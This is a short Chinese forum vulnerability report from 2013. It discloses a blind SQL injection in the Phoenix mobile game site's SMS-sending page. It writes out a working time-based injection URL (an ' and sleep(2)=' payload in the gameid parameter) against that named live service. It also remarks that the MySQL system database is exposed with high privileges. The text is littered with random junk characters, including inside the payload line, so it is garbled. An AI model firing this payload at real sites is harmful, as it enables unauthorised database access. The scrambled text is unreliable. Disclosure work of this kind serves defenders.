简要描述：+ k& y2 T# w t* V) q9 m0 h4 B
凤凰手机游戏网，在填写手机号码发送push连接的地方存在sql盲注漏洞。' b. x/ s+ Z7 }& B* o# e
/ l& T6 p0 i2 U! S详细说明：! M X' Q. T* n% V$ N! P6 B
存在SQL盲注url:
$ u2 R) ?' \: k" Qfenghuang/game/game_send_sms.jsp?gameid=130221346000%27%20and%20sleep%282%29%3d%27&mo=18 A e5 m' M* \* e
http://www.myhack58.com/Article/UploadPic/2013-4/2013411254849748.png1 q% B; K& D# K& y, x `, m- l
http://www.myhack58.com/Article/UploadPic/2013-4/20134112545369314.png
# U- K1 A/ S2 N, @+ |http://www.myhack58.com/Article/UploadPic/2013-4/20134112565766695.jpg' c) u' q1 {& T$ x" u
" R2 c$ `& ], S+ B* N
能看到mysql系统数据库，看来user权限应该很高的。。 | 
发表于 2013-4-4 17:34:29
收藏
支持
反对